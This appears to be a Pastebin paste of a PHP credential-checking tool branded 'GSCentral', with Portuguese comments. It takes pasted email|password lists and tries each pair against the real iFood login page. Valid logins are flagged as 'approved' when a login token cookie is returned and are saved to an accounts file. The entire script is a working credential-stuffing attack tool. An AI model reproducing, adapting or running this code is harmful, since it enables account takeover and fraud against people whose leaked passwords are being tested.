Advertisement
Guest User

Untitled

a guest
Jan 26th, 2017
439
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.54 KB | None | 0 0
  1. <?php
  2. $sock = '';
  3. error_reporting(0);
  4. function getStr($string,$start,$end){
  5. $str = explode($start,$string);
  6. $str = explode($end,$str[1]);
  7. return $str[0];
  8. }
  9. function GetCookie($header)
  10. {
  11. // Separa o cabecalho e pega sรณ os cookies num array separado
  12. preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $header, $matches);
  13. $cookies = array();
  14. foreach($matches[1] as $item)
  15. {
  16. parse_str($item, $cookie);
  17. $cookies = array_merge($cookies, $cookie);
  18. }
  19. return $cookies;
  20. }
  21.  
  22. class cURL {
  23.  
  24. var $callback = false;
  25.  
  26. function setCallback($func_name) {
  27.  
  28. $this->callback = $func_name;
  29.  
  30. }
  31.  
  32. function doRequest($method, $url) {
  33.  
  34. $ch = curl_init();
  35. global $email, $pwd , $token;
  36. curl_setopt($ch, CURLOPT_URL, $url);
  37. curl_setopt($ch, CURLOPT_HEADER, 1);
  38. curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
  39. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; PT-BR; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12');
  40. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  41. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  42. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  43. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  44. curl_setopt($ch, CURLOPT_COOKIESESSION, true );
  45. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/iFood.txt'); //COOKIES DO NAVEGADOR
  46. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/iFood.txt'); //COOKIES DO NAVEGADOR
  47. curl_setopt($ch, CURLOPT_REFERER, 'https://www.ifood.com.br/entrar');
  48. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  49. if ($method == 'POST') {
  50. curl_setopt($ch, CURLOPT_POST, 0);
  51. curl_setopt($ch, CURLOPT_POSTFIELDS, 'fb_access_token=&fb_email=&fb_gender=&fb_id=&fb_username=&password=' . $pwd . '&username=' . rawurlencode($email) . '');
  52. }
  53.  
  54. $data = curl_exec($ch);
  55.  
  56. curl_close($ch);
  57.  
  58. if ($data) {
  59.  
  60. if ($this->callback) {
  61.  
  62. $callback = $this->callback;
  63.  
  64. $this->callback = false;
  65.  
  66. return call_user_func($callback, $data);
  67.  
  68. } else {
  69.  
  70. return $data;
  71.  
  72. }
  73.  
  74. } else {
  75.  
  76. return curl_error($ch);
  77.  
  78. }
  79.  
  80. }
  81.  
  82. function get($url) {
  83.  
  84. return $this->doRequest('GET', $url, 'NULL');
  85.  
  86. }
  87.  
  88. function post($url) {
  89.  
  90. return $this->doRequest('POST', $url);
  91.  
  92. }
  93.  
  94. }
  95.  
  96.  
  97.  
  98. echo '
  99.  
  100. <DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  101. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  102. <head>
  103.  
  104. <title>GSCentral - IFOOD</title>
  105. <link rel="icon" href="lojas/hulk.ico">
  106. <link rel="stylesheet" href="http://www.centralbtn.com.br/global/css/bootstrap.min3f0d.css?v2.2.0">
  107. <link rel="stylesheet" href="http://www.centralbtn.com.br/global/css/bootstrap-extend.min3f0d.css?v2.2.0">
  108. </head>
  109.  
  110. <script type="text/javascript">
  111. function pushPaypalDie(str){
  112. document.getElementById(\'listReprovadas\').innerHTML += \'<div>\' + str + \'</div>\';
  113. }
  114. function pushPaypal(str){
  115. document.getElementById(\'listAprovadas\').innerHTML += \'<div>\' + str + \'</div>\';
  116. }
  117. function pushWrongFormat(str){
  118. document.getElementById(\'listInvalidas\').innerHTML += \'<div>\' + str + \'</div>\';
  119. }
  120. </script>
  121.  
  122.  
  123. <!-- Latest compiled and minified CSS -->
  124. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
  125.  
  126. <!-- Optional theme -->
  127. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
  128.  
  129. <!-- Latest compiled and minified JavaScript -->
  130. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
  131.  
  132. <meta name="viewport" content="width=device-width, initial-scale=1">
  133. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  134.  
  135.  
  136. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.6.3/css/font-awesome.min.css">
  137.  
  138. <link href="https://fonts.googleapis.com/css?family=Source+Code+Pro" rel="stylesheet">
  139.  
  140. <link rel="icon" href="lojas/hulk.ico">
  141. <link rel="stylesheet" href="http://www.centralbtn.com.br/global/css/bootstrap.min3f0d.css?v2.2.0">
  142. <link rel="stylesheet" href="http://www.centralbtn.com.br/global/css/bootstrap-extend.min3f0d.css?v2.2.0">
  143.  
  144.  
  145. <meta name="viewport" content="width=device-width, initial-scale=1">
  146. <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  147.  
  148.  
  149.  
  150.  
  151. </head>
  152. <body><center>
  153. <div class="main-content">
  154. <center><img src="img/centralbg.jpg"></center><br>
  155. <br>
  156. <H1><center>Ifood</h1><h4>GSCentral</h4>
  157. <a href="logado.php" class="btn btn-link" role="button"><- Voltar</a>
  158. <form method="post">
  159. <div align="center"><textarea name="mp" rows="15" style="width:60%">';
  160.  
  161. if (isset($_POST['btn-submit']))
  162.  
  163. echo $_POST['mp'];
  164.  
  165. else
  166.  
  167. echo 'sualista@gmail.com|gscheckers';
  168.  
  169. ;
  170.  
  171. echo '</textarea><br />
  172. <BR>
  173. <button type="button" class="btn btn-info">Separador:</button><br></div><input type="text" name="delim" value="';
  174.  
  175.  
  176.  
  177. if (isset($_POST['btn-submit']))
  178.  
  179. echo $_POST['delim'];
  180.  
  181. else
  182.  
  183. echo '|';
  184.  
  185. ;
  186.  
  187. echo '" size="1" /><input type="hidden" name="mail" value="';
  188.  
  189. if (isset($_POST['btn-submit']))
  190.  
  191. echo $_POST['mail'];
  192.  
  193. else
  194.  
  195. echo 0;
  196.  
  197. ;
  198.  
  199. echo '" size="1" /><input type="hidden" name="pwd" value="';
  200.  
  201. if (isset($_POST['btn-submit']))
  202.  
  203. echo $_POST['pwd'];
  204.  
  205. else
  206.  
  207. echo 1;
  208.  
  209. ;
  210.  
  211. echo '" size="1" />&nbsp;
  212.  
  213.  
  214.  
  215. <input type="submit" class="btn btn-success" value="CHECAR" name="btn-submit">
  216.  
  217. </div>
  218.  
  219. </form>
  220.  
  221. ';
  222.  
  223. set_time_limit(0);
  224.  
  225. include("use.php");
  226.  
  227. function fetch_value($str, $find_start, $find_end) {
  228.  
  229. $start = strpos($str, $find_start);
  230.  
  231. if ($start === false) {
  232.  
  233. return "";
  234.  
  235. }
  236.  
  237. $length = strlen($find_start);
  238.  
  239. $end = strpos(substr($str, $start + $length), $find_end);
  240.  
  241. return trim(substr($str, $start + $length, $end));
  242.  
  243. }
  244.  
  245. function fetch_value_notrim($str, $find_start, $find_end) {
  246.  
  247. $start = strpos($str, $find_start);
  248.  
  249. if ($start === false) {
  250.  
  251. return "";
  252.  
  253. }
  254.  
  255. $length = strlen($find_start);
  256.  
  257. $end = strpos(substr($str, $start + $length), $find_end);
  258.  
  259. return substr($str, $start + $length, $end);
  260.  
  261. }
  262.  
  263. $dir = dirname(__FILE__);
  264.  
  265. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) . '.txt';
  266.  
  267. if (!file_exists($config['cookie_file'])) {
  268.  
  269. $fp = @fopen($config['cookie_file'], 'w');
  270.  
  271. @fclose($fp);
  272.  
  273. }
  274.  
  275. $zzz = "";
  276.  
  277. $live = array();
  278.  
  279. function get($list) {
  280.  
  281. preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  282.  
  283. return $socks[0];
  284.  
  285. }
  286.  
  287. function delete_cookies() {
  288.  
  289. global $config;
  290.  
  291. $fp = @fopen($config['cookie_file'], 'w');
  292.  
  293. @fclose($fp);
  294.  
  295. }
  296.  
  297. function xflush() {
  298.  
  299. static $output_handler = null;
  300.  
  301. if ($output_handler === null) {
  302.  
  303. $output_handler = @ini_get('output_handler');
  304.  
  305. }
  306.  
  307.  
  308.  
  309. if ($output_handler == 'ob_gzhandler') {
  310.  
  311. return;
  312.  
  313. }
  314.  
  315.  
  316.  
  317. flush();
  318.  
  319. if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
  320.  
  321. @ob_flush();
  322.  
  323. } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
  324.  
  325. @ob_end_flush();
  326.  
  327. @ob_start();
  328.  
  329. }
  330.  
  331. }
  332.  
  333. function curl_grab_page($site,$proxy,$proxystatus){
  334.  
  335. $chss = curl_init();
  336.  
  337. curl_setopt($chss, CURLOPT_RETURNTRANSFER, TRUE);
  338.  
  339. if ($proxystatus == 'on') {
  340.  
  341. curl_setopt($chss, CURLOPT_SSL_VERIFYHOST, FALSE);
  342.  
  343. curl_setopt($chss, CURLOPT_HTTPPROXYTUNNEL, TRUE);
  344.  
  345. curl_setopt($chss, CURLOPT_PROXY, $proxy);
  346.  
  347. }
  348.  
  349. curl_setopt($chss, CURLOPT_COOKIEFILE, "cookie.txt");
  350.  
  351. curl_setopt($chss, CURLOPT_URL, $site);
  352.  
  353. return curl_exec($chss);
  354.  
  355. curl_close ($chss);
  356.  
  357.  
  358.  
  359. }
  360.  
  361. function display($str) {
  362.  
  363. echo '<div>' . $str . '</div>';
  364.  
  365. xflush();
  366.  
  367. }
  368.  
  369. //function pushSockDie($str) {
  370.  
  371. // echo '<script type="text/javascript">pushSockDie(\'' . $str . '\');</script>';
  372.  
  373. // xflush();
  374.  
  375. //}
  376.  
  377. function pushPaypalDie($str) {
  378.  
  379. echo '<script type="text/javascript">pushPaypalDie(\'' . $str . '\');</script>';
  380.  
  381. file_put_contents('api/accountsdead.txt', $str . PHP_EOL, FILE_APPEND);
  382.  
  383. xflush();
  384.  
  385. }
  386.  
  387. function pushPaypal($str) {
  388.  
  389. echo '<script type="text/javascript">pushPaypal(\'' . $str . '\');</script>';
  390.  
  391. file_put_contents('api/accounts.txt', $str . PHP_EOL, FILE_APPEND);
  392.  
  393. xflush();
  394.  
  395. }
  396.  
  397. function pushWrongFormat($str) {
  398.  
  399. echo '<script type="text/javascript">pushWrongFormat(\'' . $str . '\');</script>';
  400.  
  401. xflush();
  402.  
  403. }
  404.  
  405.  
  406.  
  407. if (isset($_POST['btn-submit'])) {
  408.  
  409. ;
  410.  
  411. echo '<br/>
  412.  
  413.  
  414. <br/>
  415. <center>
  416. <div class="panel panel-green">
  417. </span>
  418. <legend class="tvmit_live">✔ Aprovasdas<br/><div id="listAprovadas"></div></legend>
  419. <legend class="tvmit_live"><br/><div id="listAprovadas"></div></legend>
  420. <div class="panel-body">
  421. </div>
  422. <div class="panel panel-danger">
  423. <div class="alert alert-danger">✘ Reprovadas<br/><div id="pushPaypalDie"></div>
  424. <legend class="tvmit_die"><br/><div id="listReprovadas"></div></legend><br>
  425.  
  426. <br/>
  427. <br>
  428. <br>
  429. <br>
  430. <div class="panel panel-danger">
  431. <br>
  432. <div class="alert alert-danger">✘ Invalidas<br/><div id="pushWrongFormat"></div>
  433. <legend class="tvmit_die"><br/><div id="listInvalidas"></div></legend>
  434. </center>
  435.  
  436.  
  437.  
  438.  
  439. ';
  440.  
  441. xflush();
  442.  
  443. $emails = explode("\n", trim($_POST['mp']));
  444.  
  445. $eCount = count($emails);
  446.  
  447. $failed = $live = $uncheck = array();
  448.  
  449. $checked = 0;
  450.  
  451. if (!count($emails)) {
  452.  
  453. continue;
  454.  
  455. }
  456.  
  457. delete_cookies();
  458.  
  459. //$sockClear = isSockClear();
  460.  
  461. //if ($sockClear != 1) {
  462.  
  463. //pushSockDie('[<font color="#FF0000">' . $sock . '</font>]');
  464.  
  465. //continue;
  466.  
  467. //}
  468.  
  469.  
  470.  
  471. foreach ($emails AS $k => $line) {
  472.  
  473. $info = explode($_POST['delim'], $line);
  474.  
  475. $email = trim($info["{$_POST['mail']}"]);
  476.  
  477. $pwd = trim($info["{$_POST['pwd']}"]);
  478.  
  479. if (stripos($email, '@') === false || strlen($pwd) < 2) {
  480.  
  481. unset($emails[$k]);
  482.  
  483. pushWrongFormat($email . ' | ' . $pwd);
  484.  
  485. continue;
  486.  
  487. }
  488.  
  489. //if ($failed[$sock] > 4)
  490.  
  491. // continue;
  492.  
  493.  
  494.  
  495.  
  496.  
  497. //DELETAR COOKIES
  498.  
  499. if(file_exists(getcwd().'/iFood.txt')) {
  500.  
  501. unlink(getcwd().'/iFood.txt');
  502.  
  503. }
  504.  
  505. //FIM COOKIES
  506.  
  507.  
  508.  
  509. //CHAMADAS DE TOKEN E POST
  510.  
  511. $e = new cURL();
  512. $f = $e->get("https://www.ifood.com.br/entrar");
  513. $g = new cURL();
  514. $h = $g->post("https://www.ifood.com.br/entrar");
  515.  
  516. $x = GetCookie($h);
  517.  
  518.  
  519.  
  520. $checked++;
  521.  
  522.  
  523.  
  524.  
  525.  
  526. if($h){
  527.  
  528.  
  529.  
  530. //RESULTADOS DE CAPUTRA
  531.  
  532.  
  533. if($x['cookie_login_token'] != '') {
  534.  
  535. /*$cc = getStr($d,'class="editAddress"',',');
  536.  
  537. $cc1 = str_replace(' \r\n','',$cc);
  538.  
  539. $cc2 = getStr($d,'"city":',',');
  540.  
  541. $cc3 = str_replace(' \r\n','',$cc2);
  542.  
  543. $cc4 = getStr($d,'"job":',',');
  544.  
  545. $cc5 = str_replace(' \r\n','',$cc4);*/
  546.  
  547.  
  548.  
  549.  
  550.  
  551. $xyz = "<p><center><b style=\"color:green\">✔ </b>$email | $pwd <b style=\"color:green\">| #GSCheckers </b></p></center>";
  552. $live[] = $xyz;
  553. unset($emails[$k]);
  554. pushPaypal($xyz);
  555. }
  556.  
  557. else{
  558. pushPaypalDie("<b style=\"color:red\">✘ </b>$email | $pwd ");
  559. unset($emails[$k]);
  560. }
  561.  
  562.  
  563.  
  564. }
  565.  
  566. }
  567.  
  568. }
  569.  
  570. //if (isset($eCount, $live)) {
  571.  
  572. // display("<h3>Total: $eCount - Testado: $checked - Aprovado: " . count($live) . "</h5>");
  573.  
  574. // display(implode("<br />", $live));
  575.  
  576. if (count($emails)) {
  577.  
  578. display("Sem Testar:");
  579.  
  580. display('<textarea cols="80" rows="10">' . implode("\n", $emails) . '</textarea>');
  581.  
  582. }
  583.  
  584.  
  585.  
  586. echo '</body>
  587.  
  588. </html>';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement